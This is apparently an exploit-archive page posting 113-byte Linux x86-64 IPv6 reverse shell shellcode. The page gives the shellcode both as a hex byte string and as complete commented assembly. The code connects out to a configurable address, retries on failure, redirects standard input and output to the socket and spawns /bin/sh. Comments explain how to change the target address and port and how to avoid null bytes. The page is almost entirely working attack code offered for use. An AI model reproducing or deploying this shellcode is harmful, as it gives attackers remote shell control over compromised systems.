Exploit the possiblities

Linux/x86-64 Reverse Shell Shellcode

Linux/x86-64 Reverse Shell Shellcode
Posted May 8, 2017
Authored by Srakai

113 bytes small Linux/x86-64 reverse shell shellcode for IPv6.

tags | shell, x86, shellcode
systems | linux
MD5 | ac5201873bbc6a9ce91386d7e9e153d6

Linux/x86-64 Reverse Shell Shellcode

Change Mirror Download
[BITS 64]

; **reverse ip6 tcp shell
; * size >= 113 bytes (depends of ip addr, default is ::1)
; * nullbytes free (depends only on ip addr,
; you could always and the ip add to remove
; the nulls like i did with the port)
; * it sleeps and then tries to recconect (default 3 seconds)
;
;shell =
;"\x6a\x0a\x5f\x6a\x01\x5e\x48\x31\xd2\x6a\x29\x58\x0f\x05\x50\x5b"
;"\x52\x48\xb9\x00\x00\x00\x00\x00\x00\x01\x51\xb9\x00\x00\x00\x00"
;"\x51\xba\xff\xff\x05\xc0\x66\x21\xfa\x52\x48\x31\xf6\x56\x6a\x03"
;"\x54\x5f\x6a\x23\x58\x0f\x05\x59\x59\x53\x5f\x54\x5e\x6a\x1c\x5a"
;"\x6a\x2a\x58\x0f\x05\x48\x85\xc0\x75\xe0\x48\x96\x6a\x03\x5e\x6a"
;"\x21\x58\x48\xff\xce\x0f\x05\x75\xf6\x48\xbf\x2f\x2f\x62\x69\x2f"
;"\x73\x68\x56\x57\x48\x31\xd2\x54\x5f\x6a\x3b\x58\x0f\x05"
;
; again, the nulls propably won't even come up with your global ip addr
; if they do, and you don't encodee the payload, you could do some
; bitwise operations
;
; made by srakai (github.com/Srakai)


AF_INET6 equ 10
SOCK_STREAM equ 1
SOCKET equ 41
CONNECT equ 42
DUP2 equ 33
EXECVE equ 59
NANOSLEEP equ 35

section .text

global _start

_start:

; socket()

push AF_INET6
pop rdi
push SOCK_STREAM
pop rsi
xor rdx, rdx
push SOCKET
pop rax
syscall

push rax
pop rbx

; create struct sockaddr_in6
push rdx ;scope id = 0
mov rcx, 0x0100000000000000 ;sin6_addr for local link use:
push rcx ;sin6_addr 0x0100000000000000
mov rcx, 0x0000000000000000 ;sin6_addr 0x0000000000000000
push rcx ;sin6_addr
mov edx, 0xc005FFFF ;sin6_flowinfo=0 , family=AF_INET6, port=1472
and dx, di ;to change port change P, 0xPPPP000A
push rdx

sleep:

xor rsi, rsi
; struct timespec
push rsi ;push 0
push 3 ;seconds to sleep

; nanosleep()
push rsp
pop rdi
push NANOSLEEP
pop rax
syscall

pop rcx ;clear stack
pop rcx

; connect()
push rbx
pop rdi
push rsp
pop rsi
push 28 ;sizeof struct
pop rdx
push CONNECT
pop rax
syscall

test rax, rax ;if (rax&rax) ==0
jnz sleep

; dup2()
xchg rsi, rax ;rsi=0
push 3
pop rsi
dup2:
push DUP2
pop rax
dec rsi
syscall
jnz dup2

; execve()
mov rdi, 0x68732f6e69622f2f
push rsi
push rdi
xor rdx, rdx
push rsp
pop rdi
push EXECVE
pop rax
syscall

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    22 Files
  • 2
    Nov 2nd
    28 Files
  • 3
    Nov 3rd
    10 Files
  • 4
    Nov 4th
    1 Files
  • 5
    Nov 5th
    5 Files
  • 6
    Nov 6th
    15 Files
  • 7
    Nov 7th
    15 Files
  • 8
    Nov 8th
    13 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    9 Files
  • 11
    Nov 11th
    3 Files
  • 12
    Nov 12th
    2 Files
  • 13
    Nov 13th
    15 Files
  • 14
    Nov 14th
    17 Files
  • 15
    Nov 15th
    19 Files
  • 16
    Nov 16th
    15 Files
  • 17
    Nov 17th
    19 Files
  • 18
    Nov 18th
    4 Files
  • 19
    Nov 19th
    2 Files
  • 20
    Nov 20th
    9 Files
  • 21
    Nov 21st
    14 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close